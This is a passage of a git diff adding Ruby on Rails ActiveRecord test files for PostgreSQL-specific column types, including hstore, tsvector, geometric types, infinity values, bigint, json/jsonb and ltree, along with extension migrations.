+    end
+  end
+
+  class DisableHstore < ActiveRecord::Migration::Current
+    def change
+      disable_extension "hstore"
+    end
+  end
+
+  def setup
+    super
+
+    @connection = ActiveRecord::Base.connection
+
+    unless @connection.supports_extensions?
+      return skip("no extension support")
+    end
+
+    @old_schema_migration_table_name = ActiveRecord::SchemaMigration.table_name
+    @old_table_name_prefix = ActiveRecord::Base.table_name_prefix
+    @old_table_name_suffix = ActiveRecord::Base.table_name_suffix
+
+    ActiveRecord::Base.table_name_prefix = "p_"
+    ActiveRecord::Base.table_name_suffix = "_s"
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::SchemaMigration.table_name = "p_schema_migrations_s"
+    ActiveRecord::Migration.verbose = false
+  end
+
+  def teardown
+    ActiveRecord::Base.table_name_prefix = @old_table_name_prefix
+    ActiveRecord::Base.table_name_suffix = @old_table_name_suffix
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::Migration.verbose = true
+    ActiveRecord::SchemaMigration.table_name = @old_schema_migration_table_name
+
+    super
+  end
+
+  def test_enable_extension_migration_ignores_prefix_and_suffix
+    @connection.disable_extension("hstore")
+
+    migrations = [EnableHstore.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert @connection.extension_enabled?("hstore"), "extension hstore should be enabled"
+  end
+
+  def test_disable_extension_migration_ignores_prefix_and_suffix
+    @connection.enable_extension("hstore")
+
+    migrations = [DisableHstore.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert_not @connection.extension_enabled?("hstore"), "extension hstore should not be enabled"
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/full_text_test.rb b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
new file mode 100644
index 0000000000..c6f1e1727f
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/full_text_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlFullTextTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  class Tsvector < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("tsvectors") do |t|
+      t.tsvector "text_vector"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "tsvectors", if_exists: true
+  end
+
+  def test_tsvector_column
+    column = Tsvector.columns_hash["text_vector"]
+    assert_equal :tsvector, column.type
+    assert_equal "tsvector", column.sql_type
+    assert_not column.array?
+
+    type = Tsvector.type_for_attribute("text_vector")
+    assert_not type.binary?
+  end
+
+  def test_update_tsvector
+    Tsvector.create text_vector: "'text' 'vector'"
+    tsvector = Tsvector.first
+    assert_equal "'text' 'vector'", tsvector.text_vector
+
+    tsvector.text_vector = "'new' 'text' 'vector'"
+    tsvector.save!
+    assert tsvector.reload
+    assert_equal "'new' 'text' 'vector'", tsvector.text_vector
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("tsvectors")
+    assert_match %r{t\.tsvector "text_vector"}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/geometric_test.rb b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
new file mode 100644
index 0000000000..e1ba00e07b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/geometric_test.rb
@@ -0,0 +1,373 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlPointTest < ActiveRecord::PostgreSQLTestCase
+  include ConnectionHelper
+  include SchemaDumpingHelper
+
+  class PostgresqlPoint < ActiveRecord::Base
+    attribute :x, :point
+    attribute :y, :point
+    attribute :z, :point
+    attribute :array_of_points, :point, array: true
+    attribute :legacy_x, :legacy_point
+    attribute :legacy_y, :legacy_point
+    attribute :legacy_z, :legacy_point
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_points") do |t|
+      t.point :x
+      t.point :y, default: [12.2, 13.3]
+      t.point :z, default: "(14.4,15.5)"
+      t.point :array_of_points, array: true
+      t.point :legacy_x
+      t.point :legacy_y, default: [12.2, 13.3]
+      t.point :legacy_z, default: "(14.4,15.5)"
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_points", if_exists: true
+  end
+
+  def test_column
+    column = PostgresqlPoint.columns_hash["x"]
+    assert_equal :point, column.type
+    assert_equal "point", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlPoint.type_for_attribute("x")
+    assert_not type.binary?
+  end
+
+  def test_default
+    assert_equal ActiveRecord::Point.new(12.2, 13.3), PostgresqlPoint.column_defaults["y"]
+    assert_equal ActiveRecord::Point.new(12.2, 13.3), PostgresqlPoint.new.y
+
+    assert_equal ActiveRecord::Point.new(14.4, 15.5), PostgresqlPoint.column_defaults["z"]
+    assert_equal ActiveRecord::Point.new(14.4, 15.5), PostgresqlPoint.new.z
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_points")
+    assert_match %r{t\.point\s+"x"$}, output
+    assert_match %r{t\.point\s+"y",\s+default: \[12\.2, 13\.3\]$}, output
+    assert_match %r{t\.point\s+"z",\s+default: \[14\.4, 15\.5\]$}, output
+  end
+
+  def test_roundtrip
+    PostgresqlPoint.create! x: [10, 25.2]
+    record = PostgresqlPoint.first
+    assert_equal ActiveRecord::Point.new(10, 25.2), record.x
+
+    record.x = ActiveRecord::Point.new(1.1, 2.2)
+    record.save!
+    assert record.reload
+    assert_equal ActiveRecord::Point.new(1.1, 2.2), record.x
+  end
+
+  def test_mutation
+    p = PostgresqlPoint.create! x: ActiveRecord::Point.new(10, 20)
+
+    p.x.y = 25
+    p.save!
+    p.reload
+
+    assert_equal ActiveRecord::Point.new(10.0, 25.0), p.x
+    assert_not p.changed?
+  end
+
+  def test_array_assignment
+    p = PostgresqlPoint.new(x: [1, 2])
+
+    assert_equal ActiveRecord::Point.new(1, 2), p.x
+  end
+
+  def test_string_assignment
+    p = PostgresqlPoint.new(x: "(1, 2)")
+
+    assert_equal ActiveRecord::Point.new(1, 2), p.x
+  end
+
+  def test_empty_string_assignment
+    p = PostgresqlPoint.new(x: "")
+    assert_nil p.x
+  end
+
+  def test_array_of_points_round_trip
+    expected_value = [
+      ActiveRecord::Point.new(1, 2),
+      ActiveRecord::Point.new(2, 3),
+      ActiveRecord::Point.new(3, 4),
+    ]
+    p = PostgresqlPoint.new(array_of_points: expected_value)
+
+    assert_equal expected_value, p.array_of_points
+    p.save!
+    p.reload
+    assert_equal expected_value, p.array_of_points
+  end
+
+  def test_legacy_column
+    column = PostgresqlPoint.columns_hash["legacy_x"]
+    assert_equal :point, column.type
+    assert_equal "point", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlPoint.type_for_attribute("legacy_x")
+    assert_not type.binary?
+  end
+
+  def test_legacy_default
+    assert_equal [12.2, 13.3], PostgresqlPoint.column_defaults["legacy_y"]
+    assert_equal [12.2, 13.3], PostgresqlPoint.new.legacy_y
+
+    assert_equal [14.4, 15.5], PostgresqlPoint.column_defaults["legacy_z"]
+    assert_equal [14.4, 15.5], PostgresqlPoint.new.legacy_z
+  end
+
+  def test_legacy_schema_dumping
+    output = dump_table_schema("postgresql_points")
+    assert_match %r{t\.point\s+"legacy_x"$}, output
+    assert_match %r{t\.point\s+"legacy_y",\s+default: \[12\.2, 13\.3\]$}, output
+    assert_match %r{t\.point\s+"legacy_z",\s+default: \[14\.4, 15\.5\]$}, output
+  end
+
+  def test_legacy_roundtrip
+    PostgresqlPoint.create! legacy_x: [10, 25.2]
+    record = PostgresqlPoint.first
+    assert_equal [10, 25.2], record.legacy_x
+
+    record.legacy_x = [1.1, 2.2]
+    record.save!
+    assert record.reload
+    assert_equal [1.1, 2.2], record.legacy_x
+  end
+
+  def test_legacy_mutation
+    p = PostgresqlPoint.create! legacy_x: [10, 20]
+
+    p.legacy_x[1] = 25
+    p.save!
+    p.reload
+
+    assert_equal [10.0, 25.0], p.legacy_x
+    assert_not p.changed?
+  end
+end
+
+class PostgresqlGeometricTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class PostgresqlGeometric < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_geometrics") do |t|
+      t.lseg    :a_line_segment
+      t.box     :a_box
+      t.path    :a_path
+      t.polygon :a_polygon
+      t.circle  :a_circle
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_geometrics", if_exists: true
+  end
+
+  def test_geometric_types
+    g = PostgresqlGeometric.new(
+      a_line_segment: "(2.0, 3), (5.5, 7.0)",
+      a_box: "2.0, 3, 5.5, 7.0",
+      a_path: "[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]",
+      a_polygon: "((2.0, 3), (5.5, 7.0), (8.5, 11.0))",
+      a_circle: "<(5.3, 10.4), 2>"
+    )
+
+    g.save!
+
+    h = PostgresqlGeometric.find(g.id)
+
+    assert_equal "[(2,3),(5.5,7)]", h.a_line_segment
+    assert_equal "(5.5,7),(2,3)", h.a_box # reordered to store upper right corner then bottom left corner
+    assert_equal "[(2,3),(5.5,7),(8.5,11)]", h.a_path
+    assert_equal "((2,3),(5.5,7),(8.5,11))", h.a_polygon
+    assert_equal "<(5.3,10.4),2>", h.a_circle
+  end
+
+  def test_alternative_format
+    g = PostgresqlGeometric.new(
+      a_line_segment: "((2.0, 3), (5.5, 7.0))",
+      a_box: "(2.0, 3), (5.5, 7.0)",
+      a_path: "((2.0, 3), (5.5, 7.0), (8.5, 11.0))",
+      a_polygon: "2.0, 3, 5.5, 7.0, 8.5, 11.0",
+      a_circle: "((5.3, 10.4), 2)"
+    )
+
+    g.save!
+
+    h = PostgresqlGeometric.find(g.id)
+    assert_equal "[(2,3),(5.5,7)]", h.a_line_segment
+    assert_equal "(5.5,7),(2,3)", h.a_box   # reordered to store upper right corner then bottom left corner
+    assert_equal "((2,3),(5.5,7),(8.5,11))", h.a_path
+    assert_equal "((2,3),(5.5,7),(8.5,11))", h.a_polygon
+    assert_equal "<(5.3,10.4),2>", h.a_circle
+  end
+
+  def test_geometric_function
+    PostgresqlGeometric.create! a_path: "[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]"  # [ ] is an open path
+    PostgresqlGeometric.create! a_path: "((2.0, 3), (5.5, 7.0), (8.5, 11.0))"  # ( ) is a closed path
+
+    objs = PostgresqlGeometric.find_by_sql "SELECT isopen(a_path) FROM postgresql_geometrics ORDER BY id ASC"
+    assert_equal [true, false], objs.map(&:isopen)
+
+    objs = PostgresqlGeometric.find_by_sql "SELECT isclosed(a_path) FROM postgresql_geometrics ORDER BY id ASC"
+    assert_equal [false, true], objs.map(&:isclosed)
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_geometrics")
+    assert_match %r{t\.lseg\s+"a_line_segment"$}, output
+    assert_match %r{t\.box\s+"a_box"$}, output
+    assert_match %r{t\.path\s+"a_path"$}, output
+    assert_match %r{t\.polygon\s+"a_polygon"$}, output
+    assert_match %r{t\.circle\s+"a_circle"$}, output
+  end
+end
+
+class PostgreSQLGeometricLineTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+
+  class PostgresqlLine < ActiveRecord::Base; end
+
+  setup do
+    unless ActiveRecord::Base.connection.send(:postgresql_version) >= 90400
+      skip("line type is not fully implemented")
+    end
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table("postgresql_lines") do |t|
+      t.line :a_line
+    end
+  end
+
+  teardown do
+    if defined?(@connection)
+      @connection.drop_table "postgresql_lines", if_exists: true
+    end
+  end
+
+  def test_geometric_line_type
+    g = PostgresqlLine.new(
+      a_line: "{2.0, 3, 5.5}"
+    )
+    g.save!
+
+    h = PostgresqlLine.find(g.id)
+    assert_equal "{2,3,5.5}", h.a_line
+  end
+
+  def test_alternative_format_line_type
+    g = PostgresqlLine.new(
+      a_line: "(2.0, 3), (4.0, 6.0)"
+    )
+    g.save!
+
+    h = PostgresqlLine.find(g.id)
+    assert_equal "{1.5,-1,0}", h.a_line
+  end
+
+  def test_schema_dumping_for_line_type
+    output = dump_table_schema("postgresql_lines")
+    assert_match %r{t\.line\s+"a_line"$}, output
+  end
+end
+
+class PostgreSQLGeometricTypesTest < ActiveRecord::PostgreSQLTestCase
+  attr_reader :connection, :table_name
+
+  def setup
+    super
+    @connection = ActiveRecord::Base.connection
+    @table_name = :testings
+  end
+
+  def test_creating_column_with_point_type
+    connection.create_table(table_name) do |t|
+      t.point :foo_point
+    end
+
+    assert_column_exists(:foo_point)
+    assert_type_correct(:foo_point, :point)
+  end
+
+  def test_creating_column_with_line_type
+    connection.create_table(table_name) do |t|
+      t.line :foo_line
+    end
+
+    assert_column_exists(:foo_line)
+    assert_type_correct(:foo_line, :line)
+  end
+
+  def test_creating_column_with_lseg_type
+    connection.create_table(table_name) do |t|
+      t.lseg :foo_lseg
+    end
+
+    assert_column_exists(:foo_lseg)
+    assert_type_correct(:foo_lseg, :lseg)
+  end
+
+  def test_creating_column_with_box_type
+    connection.create_table(table_name) do |t|
+      t.box :foo_box
+    end
+
+    assert_column_exists(:foo_box)
+    assert_type_correct(:foo_box, :box)
+  end
+
+  def test_creating_column_with_path_type
+    connection.create_table(table_name) do |t|
+      t.path :foo_path
+    end
+
+    assert_column_exists(:foo_path)
+    assert_type_correct(:foo_path, :path)
+  end
+
+  def test_creating_column_with_polygon_type
+    connection.create_table(table_name) do |t|
+      t.polygon :foo_polygon
+    end
+
+    assert_column_exists(:foo_polygon)
+    assert_type_correct(:foo_polygon, :polygon)
+  end
+
+  def test_creating_column_with_circle_type
+    connection.create_table(table_name) do |t|
+      t.circle :foo_circle
+    end
+
+    assert_column_exists(:foo_circle)
+    assert_type_correct(:foo_circle, :circle)
+  end
+
+  private
+
+    def assert_column_exists(column_name)
+      assert connection.column_exists?(table_name, column_name)
+    end
+
+    def assert_type_correct(column_name, type)
+      column = connection.columns(table_name).find { |c| c.name == column_name.to_s }
+      assert_equal type, column.type
+    end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
new file mode 100644
index 0000000000..7d8a83a4dd
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -0,0 +1,384 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.connection.supports_extensions?
+  class PostgresqlHstoreTest < ActiveRecord::PostgreSQLTestCase
+    include SchemaDumpingHelper
+    class Hstore < ActiveRecord::Base
+      self.table_name = "hstores"
+
+      store_accessor :settings, :language, :timezone
+    end
+
+    class FakeParameters
+      def to_unsafe_h
+        { "hi" => "hi" }
+      end
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+
+      unless @connection.extension_enabled?("hstore")
+        @connection.enable_extension "hstore"
+        @connection.commit_db_transaction
+      end
+
+      @connection.reconnect!
+
+      @connection.transaction do
+        @connection.create_table("hstores") do |t|
+          t.hstore "tags", default: ""
+          t.hstore "payload", array: true
+          t.hstore "settings"
+        end
+      end
+      Hstore.reset_column_information
+      @column = Hstore.columns_hash["tags"]
+      @type = Hstore.type_for_attribute("tags")
+    end
+
+    teardown do
+      @connection.drop_table "hstores", if_exists: true
+    end
+
+    def test_hstore_included_in_extensions
+      assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
+      assert_includes @connection.extensions, "hstore", "extension list should include hstore"
+    end
+
+    def test_disable_enable_hstore
+      assert @connection.extension_enabled?("hstore")
+      @connection.disable_extension "hstore"
+      assert_not @connection.extension_enabled?("hstore")
+      @connection.enable_extension "hstore"
+      assert @connection.extension_enabled?("hstore")
+    ensure
+      # Restore column(s) dropped by `drop extension hstore cascade;`
+      load_schema
+    end
+
+    def test_column
+      assert_equal :hstore, @column.type
+      assert_equal "hstore", @column.sql_type
+      assert_not @column.array?
+
+      assert_not @type.binary?
+    end
+
+    def test_default
+      @connection.add_column "hstores", "permissions", :hstore, default: '"users"=>"read", "articles"=>"write"'
+      Hstore.reset_column_information
+
+      assert_equal({ "users" => "read", "articles" => "write" }, Hstore.column_defaults["permissions"])
+      assert_equal({ "users" => "read", "articles" => "write" }, Hstore.new.permissions)
+    ensure
+      Hstore.reset_column_information
+    end
+
+    def test_change_table_supports_hstore
+      @connection.transaction do
+        @connection.change_table("hstores") do |t|
+          t.hstore "users", default: ""
+        end
+        Hstore.reset_column_information
+        column = Hstore.columns_hash["users"]
+        assert_equal :hstore, column.type
+
+        raise ActiveRecord::Rollback # reset the schema change
+      end
+    ensure
+      Hstore.reset_column_information
+    end
+
+    def test_hstore_migration
+      hstore_migration = Class.new(ActiveRecord::Migration::Current) do
+        def change
+          change_table("hstores") do |t|
+            t.hstore :keys
+          end
+        end
+      end
+
+      hstore_migration.new.suppress_messages do
+        hstore_migration.migrate(:up)
+        assert_includes @connection.columns(:hstores).map(&:name), "keys"
+        hstore_migration.migrate(:down)
+        assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
+      end
+    end
+
+    def test_cast_value_on_write
+      x = Hstore.new tags: { "bool" => true, "number" => 5 }
+      assert_equal({ "bool" => true, "number" => 5 }, x.tags_before_type_cast)
+      assert_equal({ "bool" => "true", "number" => "5" }, x.tags)
+      x.save
+      assert_equal({ "bool" => "true", "number" => "5" }, x.reload.tags)
+    end
+
+    def test_type_cast_hstore
+      assert_equal({ "1" => "2" }, @type.deserialize("\"1\"=>\"2\""))
+      assert_equal({}, @type.deserialize(""))
+      assert_equal({ "key" => nil }, @type.deserialize("key => NULL"))
+      assert_equal({ "c" => "}", '"a"' => 'b "a b' }, @type.deserialize(%q(c=>"}", "\"a\""=>"b \"a b")))
+    end
+
+    def test_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
+
+      x.save!
+      x = Hstore.first
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
+
+      x.language = "de"
+      x.save!
+
+      x = Hstore.first
+      assert_equal "de", x.language
+      assert_equal "GMT", x.timezone
+    end
+
+    def test_duplication_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
+
+      y = x.dup
+      assert_equal "fr", y.language
+      assert_equal "GMT", y.timezone
+    end
+
+    def test_yaml_round_trip_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
+
+      y = YAML.load(YAML.dump(x))
+      assert_equal "fr", y.language
+      assert_equal "GMT", y.timezone
+    end
+
+    def test_changes_in_place
+      hstore = Hstore.create!(settings: { "one" => "two" })
+      hstore.settings["three"] = "four"
+      hstore.save!
+      hstore.reload
+
+      assert_equal "four", hstore.settings["three"]
+      assert_not hstore.changed?
+    end
+
+    def test_dirty_from_user_equal
+      settings = { "alongkey" => "anything", "key" => "value" }
+      hstore = Hstore.create!(settings: settings)
+
+      hstore.settings = { "key" => "value", "alongkey" => "anything" }
+      assert_equal settings, hstore.settings
+      refute hstore.changed?
+    end
+
+    def test_hstore_dirty_from_database_equal
+      settings = { "alongkey" => "anything", "key" => "value" }
+      hstore = Hstore.create!(settings: settings)
+      hstore.reload
+
+      assert_equal settings, hstore.settings
+      hstore.settings = settings
+      refute hstore.changed?
+    end
+
+    def test_gen1
+      assert_equal('" "=>""', @type.serialize(" " => ""))
+    end
+
+    def test_gen2
+      assert_equal('","=>""', @type.serialize("," => ""))
+    end
+
+    def test_gen3
+      assert_equal('"="=>""', @type.serialize("=" => ""))
+    end
+
+    def test_gen4
+      assert_equal('">"=>""', @type.serialize(">" => ""))
+    end
+
+    def test_parse1
+      assert_equal({ "a" => nil, "b" => nil, "c" => "NuLl", "null" => "c" }, @type.deserialize('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+    end
+
+    def test_parse2
+      assert_equal({ " " => " " },  @type.deserialize("\\ =>\\ "))
+    end
+
+    def test_parse3
+      assert_equal({ "=" => ">" },  @type.deserialize("==>>"))
+    end
+
+    def test_parse4
+      assert_equal({ "=a" => "q=w" },   @type.deserialize('\=a=>q=w'))
+    end
+
+    def test_parse5
+      assert_equal({ "=a" => "q=w" },   @type.deserialize('"=a"=>q\=w'))
+    end
+
+    def test_parse6
+      assert_equal({ "\"a" => "q>w" },  @type.deserialize('"\"a"=>q>w'))
+    end
+
+    def test_parse7
+      assert_equal({ "\"a" => "q\"w" }, @type.deserialize('\"a=>q"w'))
+    end
+
+    def test_rewrite
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+      x = Hstore.first
+      x.tags = { '"a\'' => "b" }
+      assert x.save!
+    end
+
+    def test_select
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+      x = Hstore.first
+      assert_equal({ "1" => "2" }, x.tags)
+    end
+
+    def test_array_cycle
+      assert_array_cycle([{ "AA" => "BB", "CC" => "DD" }, { "AA" => nil }])
+    end
+
+    def test_array_strings_with_quotes
+      assert_array_cycle([{ "this has" => 'some "s that need to be escaped"' }])
+    end
+
+    def test_array_strings_with_commas
+      assert_array_cycle([{ "this,has" => "many,values" }])
+    end
+
+    def test_array_strings_with_array_delimiters
+      assert_array_cycle(["{" => "}"])
+    end
+
+    def test_array_strings_with_null_strings
+      assert_array_cycle([{ "NULL" => "NULL" }])
+    end
+
+    def test_contains_nils
+      assert_array_cycle([{ "NULL" => nil }])
+    end
+
+    def test_select_multikey
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+      x = Hstore.first
+      assert_equal({ "1" => "2", "2" => "3" }, x.tags)
+    end
+
+    def test_create
+      assert_cycle("a" => "b", "1" => "2")
+    end
+
+    def test_nil
+      assert_cycle("a" => nil)
+    end
+
+    def test_quotes
+      assert_cycle("a" => 'b"ar', '1"foo' => "2")
+    end
+
+    def test_whitespace
+      assert_cycle("a b" => "b ar", '1"foo' => "2")
+    end
+
+    def test_backslash
+      assert_cycle('a\\b' => 'b\\ar', '1"foo' => "2")
+    end
+
+    def test_comma
+      assert_cycle("a, b" => "bar", '1"foo' => "2")
+    end
+
+    def test_arrow
+      assert_cycle("a=>b" => "bar", '1"foo' => "2")
+    end
+
+    def test_quoting_special_characters
+      assert_cycle("ca" => "cà", "ac" => "àc")
+    end
+
+    def test_multiline
+      assert_cycle("a\nb" => "c\nd")
+    end
+
+    class TagCollection
+      def initialize(hash); @hash = hash end
+      def to_hash; @hash end
+      def self.load(hash); new(hash) end
+      def self.dump(object); object.to_hash end
+    end
+
+    class HstoreWithSerialize < Hstore
+      serialize :tags, TagCollection
+    end
+
+    def test_hstore_with_serialized_attributes
+      HstoreWithSerialize.create! tags: TagCollection.new("one" => "two")
+      record = HstoreWithSerialize.first
+      assert_instance_of TagCollection, record.tags
+      assert_equal({ "one" => "two" }, record.tags.to_hash)
+      record.tags = TagCollection.new("three" => "four")
+      record.save!
+      assert_equal({ "three" => "four" }, HstoreWithSerialize.first.tags.to_hash)
+    end
+
+    def test_clone_hstore_with_serialized_attributes
+      HstoreWithSerialize.create! tags: TagCollection.new("one" => "two")
+      record = HstoreWithSerialize.first
+      dupe = record.dup
+      assert_equal({ "one" => "two" }, dupe.tags.to_hash)
+    end
+
+    def test_schema_dump_with_shorthand
+      output = dump_table_schema("hstores")
+      assert_match %r[t\.hstore "tags",\s+default: {}], output
+    end
+
+    def test_supports_to_unsafe_h_values
+      assert_equal("\"hi\"=>\"hi\"", @type.serialize(FakeParameters.new))
+    end
+
+    private
+      def assert_array_cycle(array)
+        # test creation
+        x = Hstore.create!(payload: array)
+        x.reload
+        assert_equal(array, x.payload)
+
+        # test updating
+        x = Hstore.create!(payload: [])
+        x.payload = array
+        x.save!
+        x.reload
+        assert_equal(array, x.payload)
+      end
+
+      def assert_cycle(hash)
+        # test creation
+        x = Hstore.create!(tags: hash)
+        x.reload
+        assert_equal(hash, x.tags)
+
+        # test updating
+        x = Hstore.create!(tags: {})
+        x.tags = hash
+        x.save!
+        x.reload
+        assert_equal(hash, x.tags)
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/infinity_test.rb b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
new file mode 100644
index 0000000000..0b18c0c9d7
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlInfinityTest < ActiveRecord::PostgreSQLTestCase
+  include InTimeZone
+
+  class PostgresqlInfinity < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table(:postgresql_infinities) do |t|
+      t.float :float
+      t.datetime :datetime
+    end
+  end
+
+  teardown do
+    @connection.drop_table "postgresql_infinities", if_exists: true
+  end
+
+  test "type casting infinity on a float column" do
+    record = PostgresqlInfinity.create!(float: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.float
+  end
+
+  test "type casting string on a float column" do
+    record = PostgresqlInfinity.new(float: "Infinity")
+    assert_equal Float::INFINITY, record.float
+    record = PostgresqlInfinity.new(float: "-Infinity")
+    assert_equal(-Float::INFINITY, record.float)
+    record = PostgresqlInfinity.new(float: "NaN")
+    assert record.float.nan?, "Expected #{record.float} to be NaN"
+  end
+
+  test "update_all with infinity on a float column" do
+    record = PostgresqlInfinity.create!
+    PostgresqlInfinity.update_all(float: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.float
+  end
+
+  test "type casting infinity on a datetime column" do
+    record = PostgresqlInfinity.create!(datetime: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.datetime
+  end
+
+  test "update_all with infinity on a datetime column" do
+    record = PostgresqlInfinity.create!
+    PostgresqlInfinity.update_all(datetime: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.datetime
+  end
+
+  test "assigning 'infinity' on a datetime column with TZ aware attributes" do
+    begin
+      in_time_zone "Pacific Time (US & Canada)" do
+        record = PostgresqlInfinity.create!(datetime: "infinity")
+        assert_equal Float::INFINITY, record.datetime
+        assert_equal record.datetime, record.reload.datetime
+      end
+    ensure
+      # setting time_zone_aware_attributes causes the types to change.
+      # There is no way to do this automatically since it can be set on a superclass
+      PostgresqlInfinity.reset_column_information
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/integer_test.rb b/activerecord/test/cases/adapters/postgresql/integer_test.rb
new file mode 100644
index 0000000000..3e45b057ff
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/integer_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/numeric/bytes"
+
+class PostgresqlIntegerTest < ActiveRecord::PostgreSQLTestCase
+  class PgInteger < ActiveRecord::Base
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    @connection.transaction do
+      @connection.create_table "pg_integers", force: true do |t|
+        t.integer :quota, limit: 8, default: 2.gigabytes
+      end
+    end
+  end
+
+  teardown do
+    @connection.drop_table "pg_integers", if_exists: true
+  end
+
+  test "schema properly respects bigint ranges" do
+    assert_equal 2.gigabytes, PgInteger.new.quota
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
new file mode 100644
index 0000000000..aa5e03df41
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/json_shared_test_cases"
+
+module PostgresqlJSONSharedTestCases
+  include JSONSharedTestCases
+
+  def setup
+    super
+    @connection.create_table("json_data_type") do |t|
+      t.public_send column_type, "payload", default: {} # t.json 'payload', default: {}
+      t.public_send column_type, "settings"             # t.json 'settings'
+      t.public_send column_type, "objects", array: true # t.json 'objects', array: true
+    end
+  rescue ActiveRecord::StatementInvalid
+    skip "do not test on PostgreSQL without #{column_type} type."
+  end
+
+  def test_default
+    @connection.add_column "json_data_type", "permissions", column_type, default: { "users": "read", "posts": ["read", "write"] }
+    klass.reset_column_information
+
+    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, JsonDataType.column_defaults["permissions"])
+    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, JsonDataType.new.permissions)
+  end
+
+  def test_deserialize_with_array
+    x = klass.new(objects: ["foo" => "bar"])
+    assert_equal ["foo" => "bar"], x.objects
+    x.save!
+    assert_equal ["foo" => "bar"], x.objects
+    x.reload
+    assert_equal ["foo" => "bar"], x.objects
+  end
+end
+
+class PostgresqlJSONTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlJSONSharedTestCases
+
+  def column_type
+    :json
+  end
+end
+
+class PostgresqlJSONBTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlJSONSharedTestCases
+
+  def column_type
+    :jsonb
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
new file mode 100644
index 0000000000..eca29f2892
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class PostgresqlLtreeTest < ActiveRecord::PostgreSQLTestCase
+  include SchemaDumpingHelper
+  class Ltree < ActiveRecord::Base
+    self.table_name = "ltrees"
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    enable_extension!("ltree", @connection)
+
+    @connection.transaction do
+      @connection.create_table("ltrees") do |t|
+        t.ltree "path"
+      end
+    end
